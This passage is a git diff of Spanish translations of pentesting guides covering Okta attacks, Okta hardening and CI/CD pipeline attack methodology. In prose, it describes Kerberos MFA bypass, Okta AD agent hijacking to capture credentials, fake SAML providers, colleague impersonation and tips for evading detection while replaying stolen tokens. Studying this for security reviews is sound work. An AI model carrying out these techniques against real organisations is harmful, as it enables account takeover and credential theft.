(SSO)**: Simplifica el acceso del usuario al permitir un conjunto de credenciales de inicio de sesión en múltiples aplicaciones. - **Multi-Factor Authentication (MFA)**: Mejora la seguridad al requerir múltiples formas de verificación. @@ -17,14 +17,14 @@ La oferta principal de Okta es la **Okta Identity Cloud**. Esta plataforma abarc Estos servicios tienen como objetivo colectivo fortalecer la protección de datos y agilizar el acceso de los usuarios, mejorando tanto la seguridad como la conveniencia. La versatilidad de las soluciones de Okta las convierte en una opción popular en diversas industrias, beneficiando a grandes empresas, pequeñas compañías y desarrolladores individuales por igual. Hasta la última actualización en septiembre de 2021, Okta es reconocida como una entidad prominente en el ámbito de la Gestión de Identidad y Acceso (IAM). > [!CAUTION] -> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, es muy probable que puedas **comprometer todas las demás plataformas que la empresa está utilizando**. +> El objetivo principal de Okta es configurar el acceso a diferentes usuarios y grupos a aplicaciones externas. Si logras **comprometer privilegios de administrador en un entorno de Okta**, probablemente podrás **comprometer todas las demás plataformas que la empresa está utilizando**. > [!TIP] > Para realizar una revisión de seguridad de un entorno de Okta, deberías solicitar **acceso de solo lectura de administrador**. -### Summary +### Resumen -Hay **usuarios** (que pueden ser **almacenados en Okta,** registrados desde **Proveedores de Identidad** configurados o autenticados a través de **Active Directory** o LDAP).\ +Hay **usuarios** (que pueden ser **almacenados en Okta,** iniciar sesión desde **Proveedores de Identidad** configurados o autenticarse a través de **Active Directory** o LDAP).\ Estos usuarios pueden estar dentro de **grupos**.\ También hay **autenticadores**: diferentes opciones para autenticar como contraseña, y varios 2FA como WebAuthn, correo electrónico, teléfono, okta verify (pueden estar habilitados o deshabilitados)... @@ -33,60 +33,56 @@ Luego, hay **aplicaciones** sincronizadas con Okta. Cada aplicación tendrá alg > [!CAUTION] > El rol más poderoso es **Super Administrador**. > -> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** serán muy probablemente **comprometidas**. +> Si un atacante compromete Okta con acceso de Administrador, todas las **aplicaciones que confían en Okta** probablemente estarán **comprometidas**. -## Attacks +## Ataques -### Locating Okta Portal +### Localizando el Portal de Okta -Usualmente el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**. +Usualmente, el portal de una empresa estará ubicado en **companyname.okta.com**. Si no, prueba variaciones simples de **companyname.** Si no puedes encontrarlo, también es posible que la organización tenga un registro **CNAME** como **`okta.companyname.com`** apuntando al **portal de Okta**. -### Login in Okta via Kerberos +### Inicio de Sesión en Okta a través de Kerberos -Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, eludiendo típicamente **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado usando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta. +Si **`companyname.kerberos.okta.com`** está activo, **Kerberos se utiliza para el acceso a Okta**, normalmente eludiendo **MFA** para usuarios de **Windows**. Para encontrar usuarios de Okta autenticados por Kerberos en AD, ejecuta **`getST.py`** con **parámetros apropiados**. Al obtener un **ticket de usuario de AD**, **iníctalo** en un host controlado utilizando herramientas como Rubeus o Mimikatz, asegurando que **`clientname.kerberos.okta.com` esté en la zona "Intranet" de las Opciones de Internet**. Acceder a una URL específica debería devolver una respuesta JSON "OK", indicando la aceptación del ticket de Kerberos y otorgando acceso al panel de control de Okta. -Comprometer la **cuenta de servicio de Okta con el SPN de delegación habilita un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta. +Comprometer la **cuenta de servicio de Okta con el SPN de delegación permite un ataque de Silver Ticket.** Sin embargo, el uso de **AES** por parte de Okta para la encriptación de tickets requiere poseer la clave AES o la contraseña en texto plano. Usa **`ticketer.py` para generar un ticket para el usuario víctima** y entregarlo a través del navegador para autenticarte con Okta. **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking Okta AD Agent +### Secuestro del Agente AD de Okta Esta técnica implica **acceder al Agente AD de Okta en un servidor**, que **sincroniza usuarios y maneja la autenticación**. Al examinar y desencriptar configuraciones en **`OktaAgentService.exe.config`**, notablemente el AgentToken usando **DPAPI**, un atacante puede potencialmente **interceptar y manipular datos de autenticación**. Esto permite no solo **monitorear** y **capturar credenciales de usuario** en texto plano durante el proceso de autenticación de Okta, sino también **responder a intentos de autenticación**, permitiendo así el acceso no autorizado o proporcionando autenticación universal a través de Okta (similar a una 'llave maestra'). **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Hijacking AD As an Admin +### Secuestro de AD como Administrador Esta técnica implica secuestrar un Agente AD de Okta obteniendo primero un Código OAuth, luego solicitando un token de API. El token está asociado con un dominio AD, y un **conector se nombra para establecer un agente AD falso**. La inicialización permite que el agente **procese intentos de autenticación**, capturando credenciales a través de la API de Okta. Hay herramientas de automatización disponibles para agilizar este proceso, ofreciendo un método fluido para interceptar y manejar datos de autenticación dentro del entorno de Okta. **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -### Okta Fake SAML Provider +### Proveedor SAML Falso de Okta **Consulta el ataque en** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.** -La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta usando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida. +La técnica implica **desplegar un proveedor SAML falso**. Al integrar un Proveedor de Identidad (IdP) externo dentro del marco de Okta utilizando una cuenta privilegiada, los atacantes pueden **controlar el IdP, aprobando cualquier solicitud de autenticación a voluntad**. El proceso implica configurar un IdP SAML 2.0 en Okta, manipulando la URL de inicio de sesión único del IdP para redirigir a través del archivo de hosts local, generando un certificado autofirmado y configurando los ajustes de Okta para que coincidan con el nombre de usuario o correo electrónico. Ejecutar con éxito estos pasos permite la autenticación como cualquier usuario de Okta, eludiendo la necesidad de credenciales individuales de usuario, elevando significativamente el control de acceso de manera potencialmente inadvertida. -### Phishing Okta Portal with Evilgnix +### Ataque de Suplantación de Colega -En [**este post del blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) se explica cómo preparar una campaña de phishing contra un portal de Okta. +Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**. -### Colleague Impersonation Attack +Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía por ejemplo en **`primaryEmail`** podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio). -Los **atributos que cada usuario puede tener y modificar** (como correo electrónico o nombre) pueden ser configurados en Okta. Si una **aplicación** confía como ID en un **atributo** que el usuario puede **modificar**, podrá **suplantar a otros usuarios en esa plataforma**. - -Por lo tanto, si la aplicación confía en el campo **`userName`**, probablemente no podrás cambiarlo (porque generalmente no puedes cambiar ese campo), pero si confía, por ejemplo, en **`primaryEmail`**, podrías **cambiarlo a la dirección de correo electrónico de un colega** y suplantarlo (necesitarás tener acceso al correo electrónico y aceptar el cambio). - -Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones serán comprometidas.\ +Ten en cuenta que esta suplantación depende de cómo se configuró cada aplicación. Solo las que confían en el campo que modificaste y aceptan actualizaciones estarán comprometidas.\ Por lo tanto, la aplicación debería tener este campo habilitado si existe:
También he visto otras aplicaciones que eran vulnerables pero no tenían ese campo en la configuración de Okta (al final, diferentes aplicaciones están configuradas de manera diferente). -¡La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería intentarlo! +La mejor manera de averiguar si podrías suplantar a alguien en cada aplicación sería ¡intentar hacerlo! -## Evading behavioural detection policies +## Evadiendo políticas de detección de comportamiento Las políticas de detección de comportamiento en Okta pueden ser desconocidas hasta que se encuentren, pero **eludirlas** se puede lograr **dirigiéndose directamente a las aplicaciones de Okta**, evitando el panel de control principal de Okta. Con un **token de acceso de Okta**, reproduce el token en la **URL específica de la aplicación de Okta** en lugar de la página de inicio de sesión principal. @@ -94,11 +90,11 @@ Las recomendaciones clave incluyen: - **Evitar usar** proxies de anonimato populares y servicios VPN al reproducir tokens de acceso capturados. - Asegurarse de que haya **cadenas de agente de usuario consistentes** entre el cliente y los tokens de acceso reproducidos. -- **Abstenerse de reproducir** tokens de diferentes usuarios desde la misma dirección IP. +- **Evitar reproducir** tokens de diferentes usuarios desde la misma dirección IP. - Tener cuidado al reproducir tokens contra el panel de control de Okta. - Si conoces las direcciones IP de la empresa víctima, **restringe el tráfico** a esas IPs o su rango, bloqueando todo el tráfico restante. -## Okta Hardening +## Fortalecimiento de Okta Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo revisarlas para que sean lo más seguras posible: @@ -106,7 +102,7 @@ Okta tiene muchas configuraciones posibles, en esta página encontrarás cómo r okta-hardening.md {{#endref}} -## References +## Referencias - [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers) - [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index 3b9e3c9f0..514a6bb8c 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Directory +## Directorio -### People +### Personas Desde la perspectiva de un atacante, esto es muy interesante ya que podrás ver **todos los usuarios registrados**, sus **direcciones de correo electrónico**, los **grupos** de los que forman parte, **perfiles** e incluso **dispositivos** (móviles junto con sus sistemas operativos). -Para una revisión de caja blanca, verifica que no haya varias "**Acciones de usuario pendientes**" y "**Restablecimiento de contraseña**". +Para una revisión de caja blanca, verifica que no haya varias "**Acciones pendientes del usuario**" y "**Restablecimiento de contraseña**". -### Groups +### Grupos Aquí es donde encuentras todos los grupos creados en Okta. Es interesante entender los diferentes grupos (conjunto de **permisos**) que podrían ser otorgados a los **usuarios**.\ -Es posible ver las **personas incluidas dentro de los grupos** y las **aplicaciones asignadas** a cada grupo. +Es posible ver las **personas incluidas en los grupos** y las **aplicaciones asignadas** a cada grupo. Por supuesto, cualquier grupo con el nombre de **admin** es interesante, especialmente el grupo **Administradores Globales**, verifica los miembros para aprender quiénes son los miembros más privilegiados. Desde una revisión de caja blanca, **no debería haber más de 5 administradores globales** (mejor si solo hay 2 o 3). -### Devices +### Dispositivos Encuentra aquí una **lista de todos los dispositivos** de todos los usuarios. También puedes ver si está siendo **gestionado activamente** o no. -### Profile Editor +### Editor de Perfil Aquí es posible observar cómo se comparte información clave como nombres, apellidos, correos electrónicos, nombres de usuario... entre Okta y otras aplicaciones. Esto es interesante porque si un usuario puede **modificar en Okta un campo** (como su nombre o correo electrónico) que luego es utilizado por una **aplicación externa** para **identificar** al usuario, un interno podría intentar **tomar el control de otras cuentas**. Además, en el perfil **`Usuario (predeterminado)`** de Okta puedes ver **qué campos** tiene cada **usuario** y cuáles son **escribibles** por los usuarios. Si no puedes ver el panel de administración, simplemente ve a **actualizar la información de tu perfil** y verás qué campos puedes actualizar (ten en cuenta que para actualizar una dirección de correo electrónico necesitarás verificarla). -### Directory Integrations +### Integraciones de Directorio Los directorios te permiten importar personas de fuentes existentes. Supongo que aquí verás los usuarios importados de otros directorios. -No lo he visto, pero supongo que esto es interesante para averiguar **otros directorios que Okta está utilizando para importar usuarios** así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**. +No lo he visto, pero supongo que esto es interesante para descubrir **otros directorios que Okta está utilizando para importar usuarios**, así que si **comprometes ese directorio** podrías establecer algunos valores de atributos en los usuarios creados en Okta y **quizás comprometer el entorno de Okta**. -### Profile Sources +### Fuentes de Perfil -Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una única aplicación o directorio a la vez. +Una fuente de perfil es una **aplicación que actúa como fuente de verdad** para los atributos del perfil del usuario. Un usuario solo puede ser fuente de una sola aplicación o directorio a la vez. No lo he visto, así que cualquier información sobre seguridad y hacking respecto a esta opción es apreciada. -## Customizations +## Personalizaciones -### Brands +### Marcas Verifica en la pestaña **Dominios** de esta sección las direcciones de correo electrónico utilizadas para enviar correos y el dominio personalizado dentro de Okta de la empresa (que probablemente ya conoces). @@ -53,17 +53,17 @@ Además, en la pestaña **Configuración**, si eres administrador, puedes "**Usa Nada interesante aquí. -### End-User Dashboard +### Panel de Control del Usuario Final Aquí puedes encontrar aplicaciones configuradas, pero veremos los detalles de esas más adelante en una sección diferente. -### Other +### Otro Configuración interesante, pero nada super interesante desde el punto de vista de la seguridad. -## Applications +## Aplicaciones -### Applications +### Aplicaciones Aquí puedes encontrar todas las **aplicaciones configuradas** y sus detalles: Quién tiene acceso a ellas, cómo está configurado (SAML, OpenID), URL para iniciar sesión, los mapeos entre Okta y la aplicación... @@ -75,21 +75,21 @@ Y podrías ver algunos detalles más sobre la aplicación (como la función de r
-## Identity Governance +## Gobernanza de Identidad -### Access Certifications +### Certificaciones de Acceso -Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar periódicamente el acceso de tus usuarios a los recursos y aprobar o revocar el acceso automáticamente cuando sea necesario. +Utiliza las Certificaciones de Acceso para crear campañas de auditoría para revisar el acceso de tus usuarios a los recursos periódicamente y aprobar o revocar el acceso automáticamente cuando sea necesario. No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es una buena característica. -## Security +## Seguridad ### General - **Correos electrónicos de notificación de seguridad**: Todos deberían estar habilitados. - **Integración de CAPTCHA**: Se recomienda establecer al menos el reCaptcha invisible. -- **Seguridad de la organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien). +- **Seguridad de la Organización**: Todo puede ser habilitado y los correos electrónicos de activación no deberían tardar mucho (7 días está bien). - **Prevención de enumeración de usuarios**: Ambos deberían estar habilitados. - Ten en cuenta que la Prevención de Enumeración de Usuarios no tiene efecto si se permite alguna de las siguientes condiciones (Consulta [Gestión de usuarios](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para más información): - Registro de autoservicio. @@ -100,7 +100,7 @@ No lo he visto utilizado, pero supongo que desde un punto de vista defensivo es Aquí es posible encontrar configuraciones **correctas** y **peligrosas**. -### Authenticators +### Autenticadores Aquí puedes encontrar todos los métodos de autenticación que un usuario podría usar: Contraseña, teléfono, correo electrónico, código, WebAuthn... Al hacer clic en el autenticador de Contraseña puedes ver la **política de contraseñas**. Verifica que sea fuerte. @@ -110,13 +110,13 @@ En la pestaña **Inscripción** puedes ver cuáles son requeridos u opcionales: Se recomienda deshabilitar el teléfono. Los más fuertes son probablemente una combinación de contraseña, correo electrónico y WebAuthn. -### Authentication policies +### Políticas de autenticación Cada aplicación tiene una política de autenticación. La política de autenticación verifica que los usuarios que intentan iniciar sesión en la aplicación cumplan con condiciones específicas y hace cumplir los requisitos de factores basados en esas condiciones. Aquí puedes encontrar los **requisitos para acceder a cada aplicación**. Se recomienda solicitar al menos una contraseña y otro método para cada aplicación. Pero si como atacante encuentras algo más débil, podrías ser capaz de atacarlo. -### Global Session Policy +### Política de Sesión Global Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Por ejemplo: @@ -124,21 +124,21 @@ Aquí puedes encontrar las políticas de sesión asignadas a diferentes grupos. Se recomienda solicitar MFA, limitar la duración de la sesión a algunas horas, no persistir las cookies de sesión a través de extensiones de navegador y limitar la ubicación y el Proveedor de Identidad (si esto es posible). Por ejemplo, si cada usuario debería iniciar sesión desde un país, podrías permitir solo esta ubicación. -### Identity Providers +### Proveedores de Identidad Los Proveedores de Identidad (IdPs) son servicios que **gestionan cuentas de usuario**. Agregar IdPs en Okta permite a tus usuarios finales **autoregistrarse** con tus aplicaciones personalizadas autenticándose primero con una cuenta social o una tarjeta inteligente. En la página de Proveedores de Identidad, puedes agregar inicios de sesión sociales (IdPs) y configurar Okta como proveedor de servicios (SP) agregando SAML entrante. Después de haber agregado IdPs, puedes configurar reglas de enrutamiento para dirigir a los usuarios a un IdP según el contexto, como la ubicación del usuario, el dispositivo o el dominio de correo electrónico. -**Si algún proveedor de identidad está configurado** desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta. +**Si algún proveedor de identidad está configurado**, desde la perspectiva de un atacante y defensor, verifica esa configuración y **si la fuente es realmente confiable**, ya que un atacante que lo comprometa también podría obtener acceso al entorno de Okta. -### Delegated Authentication +### Autenticación Delegada La autenticación delegada permite a los usuarios iniciar sesión en Okta ingresando credenciales para el **Active Directory (AD) o LDAP** de su organización. Nuevamente, revisa esto, ya que un atacante que comprometa el AD de una organización podría ser capaz de pivotar hacia Okta gracias a esta configuración. -### Network +### Red Una zona de red es un límite configurable que puedes usar para **otorgar o restringir el acceso a computadoras y dispositivos** en tu organización según la **dirección IP** que está solicitando acceso. Puedes definir una zona de red especificando una o más direcciones IP individuales, rangos de direcciones IP o ubicaciones geográficas. @@ -146,53 +146,53 @@ Después de definir una o más zonas de red, puedes **usarlas en Políticas de S Desde la perspectiva de un atacante, es interesante saber qué IPs están permitidas (y verificar si alguna **IP tiene más privilegios** que otras). Desde la perspectiva de un atacante, si los usuarios deberían estar accediendo desde una dirección IP o región específica, verifica que esta función se esté utilizando correctamente. -### Device Integrations +### Integraciones de Dispositivos - **Gestión de Puntos Finales**: La gestión de puntos finales es una condición que se puede aplicar en una política de autenticación para garantizar que los dispositivos gestionados tengan acceso a una aplicación. - No he visto esto utilizado aún. TODO -- **Servicios de notificación**: No he visto esto utilizado aún. TODO +- **Servicios de Notificación**: No he visto esto utilizado aún. TODO ### API -Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**. +Puedes crear tokens de API de Okta en esta página y ver los que han sido **creados**, sus **privilegios**, tiempo de **expiración** y **URLs de Origen**. Ten en cuenta que los tokens de API se generan con los permisos del usuario que creó el token y son válidos solo si el **usuario** que los creó está **activo**. -Los **Orígenes de Confianza** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta. +Los **Orígenes Confiables** otorgan acceso a sitios web que controlas y confías para acceder a tu organización de Okta a través de la API de Okta. No debería haber muchos tokens de API, ya que si los hay, un atacante podría intentar acceder a ellos y usarlos. -## Workflow +## Flujo de Trabajo -### Automations +### Automatizaciones Las automatizaciones te permiten crear acciones automatizadas que se ejecutan en función de un conjunto de condiciones de activación que ocurren durante el ciclo de vida de los usuarios finales. -Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta". +Por ejemplo, una condición podría ser "Inactividad del usuario en Okta" o "Expiración de la contraseña del usuario en Okta" y la acción podría ser "Enviar un correo electrónico al usuario" o "Cambiar el estado del ciclo de vida del usuario en Okta". -## Reports +## Informes -### Reports +### Informes -Descarga registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual. +Descargar registros. Se **envían** a la **dirección de correo electrónico** de la cuenta actual. -### System Log +### Registro del Sistema -Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como inicio de sesión en Okta o en aplicaciones a través de Okta. +Aquí puedes encontrar los **registros de las acciones realizadas por los usuarios** con muchos detalles como iniciar sesión en Okta o en aplicaciones a través de Okta. -### Import Monitoring +### Monitoreo de Importación Esto puede **importar registros de otras plataformas** accedidas con Okta. -### Rate limits +### Límites de tasa Verifica los límites de tasa de la API alcanzados. -## Settings +## Configuraciones -### Account +### Cuenta Aquí puedes encontrar **información genérica** sobre el entorno de Okta, como el nombre de la empresa, dirección, **correo electrónico de contacto de facturación**, **correo electrónico de contacto técnico** y también quién debería recibir actualizaciones de Okta y qué tipo de actualizaciones de Okta. -### Downloads +### Descargas Aquí puedes descargar agentes de Okta para sincronizar Okta con otras tecnologías. diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index edbcfba1b..3b226e820 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Methodology +# Metodología de Pentesting CI/CD {{#include ../banners/hacktricks-training.md}} @@ -12,92 +12,92 @@ VCS significa **Sistema de Control de Versiones**, estos sistemas permiten a los - Gitlab - Bitbucket - Gitea -- Proveedores de nube (ofrecen sus propias plataformas VCS) +- Proveedores de la nube (ofrecen sus propias plataformas VCS) -## CI/CD Pipelines +## Pipelines CI/CD -Las pipelines de CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción. +Los pipelines CI/CD permiten a los desarrolladores **automatizar la ejecución de código** para varios propósitos, incluyendo la construcción, prueba y despliegue de aplicaciones. Estos flujos de trabajo automatizados son **activados por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta la producción. Sin embargo, estos sistemas necesitan ser **ejecutados en algún lugar** y generalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**. -## VCS Pentesting Methodology +## Metodología de Pentesting VCS > [!NOTE] -> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo analizaremos los posibles ataques al control del código fuente. +> Incluso si algunas plataformas VCS permiten crear pipelines, en esta sección solo vamos a analizar los posibles ataques al control del código fuente. Las plataformas que contienen el código fuente de tu proyecto contienen información sensible y las personas deben tener mucho cuidado con los permisos otorgados dentro de esta plataforma. Estos son algunos problemas comunes en las plataformas VCS que un atacante podría abusar: -- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. -- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**. -- **Register**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta. +- **Filtraciones**: Si tu código contiene filtraciones en los commits y el atacante puede acceder al repositorio (porque es público o porque tiene acceso), podría descubrir las filtraciones. +- **Acceso**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS**, podría obtener **más visibilidad y permisos**. +- **Registro**: Algunas plataformas solo permitirán a los usuarios externos crear una cuenta. - **SSO**: Algunas plataformas no permitirán a los usuarios registrarse, pero permitirán a cualquiera acceder con un SSO válido (por lo que un atacante podría usar su cuenta de github para entrar, por ejemplo). -- **Credentials**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo. +- **Credenciales**: Nombre de usuario + Contraseña, tokens personales, claves ssh, tokens Oauth, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repositorio. - **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secretos no visibles, un **atacante podría abusar de ellos**. - Si no hay secreto en su lugar, el atacante podría abusar del webhook de la plataforma de terceros. - Si el secreto está en la URL, lo mismo sucede y el atacante también tiene el secreto. -- **Code compromise:** Si un actor malicioso tiene algún tipo de **acceso de escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente: +- **Compromiso de código:** Si un actor malicioso tiene algún tipo de acceso **de escritura** sobre los repositorios, podría intentar **inyectar código malicioso**. Para tener éxito, podría necesitar **eludir las protecciones de rama**. Estas acciones pueden realizarse con diferentes objetivos en mente: - Comprometer la rama principal para **comprometer la producción**. -- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repo en sus máquinas). -- **Comprometer la pipeline** (ver la siguiente sección). +- Comprometer la principal (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que generalmente ejecutan pruebas, terraform u otras cosas dentro del repositorio en sus máquinas). +- **Comprometer el pipeline** (ver la siguiente sección). -## Pipelines Pentesting Methodology +## Metodología de Pentesting de Pipelines -La forma más común de definir una pipeline es utilizando un **archivo de configuración de CI alojado en el repositorio** que la pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\ -Estos archivos típicamente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo de la pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama), y **ejecuta los comandos especificados en el archivo de configuración de CI** contra ese código. +La forma más común de definir un pipeline es utilizando un **archivo de configuración CI alojado en el repositorio** que el pipeline construye. Este archivo describe el orden de los trabajos ejecutados, las condiciones que afectan el flujo y la configuración del entorno de construcción.\ +Estos archivos generalmente tienen un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) y los archivos YAML de GitHub Actions ubicados en .github/workflows. Cuando se activa, el trabajo del pipeline **extrae el código** de la fuente seleccionada (por ejemplo, commit / rama) y **ejecuta los comandos especificados en el archivo de configuración CI** contra ese código. Por lo tanto, el objetivo final del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**. -### PPE - Poisoned Pipeline Execution +### PPE - Ejecución de Pipeline Envenenado -El camino de la Ejecución de Pipeline Envenenada (PPE) explota permisos en un repositorio SCM para manipular una pipeline de CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración de CI u otros archivos utilizados por el trabajo de la pipeline para incluir comandos maliciosos. Esto "envenena" la pipeline de CI, llevando a la ejecución de estos comandos maliciosos. +La ruta de Ejecución de Pipeline Envenenado (PPE) explota permisos en un repositorio SCM para manipular un pipeline CI y ejecutar comandos dañinos. Los usuarios con los permisos necesarios pueden modificar archivos de configuración CI u otros archivos utilizados por el trabajo del pipeline para incluir comandos maliciosos. Esto "envenena" el pipeline CI, llevando a la ejecución de estos comandos maliciosos. -Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita ser capaz de: +Para que un actor malicioso tenga éxito realizando un ataque PPE, necesita poder: -- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente las pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso). +- Tener **acceso de escritura a la plataforma VCS**, ya que generalmente los pipelines se activan cuando se realiza un push o un pull request. (Consulta la metodología de pentesting VCS para un resumen de formas de obtener acceso). - Ten en cuenta que a veces un **PR externo cuenta como "acceso de escritura"**. -- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración de CI u otros archivos de los que depende la configuración**. -- Para esto, podría necesitar ser capaz de **eludir las protecciones de rama**. +- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de configuración CI u otros archivos de los que depende la configuración**. +- Para esto, podría necesitar poder **eludir las protecciones de rama**. Hay 3 sabores de PPE: -- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración de CI** que va a ser ejecutado. -- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración de CI que va a ser ejecutado **depende** (como un archivo make o una configuración de terraform). -- **Public PPE o 3PE**: En algunos casos, las pipelines pueden ser **activadas por usuarios que no tienen acceso de escritura en el repo** (y que podrían no ser parte de la organización) porque pueden enviar un PR. -- **3PE Command Injection**: Generalmente, las pipelines de CI/CD **configurarán variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es 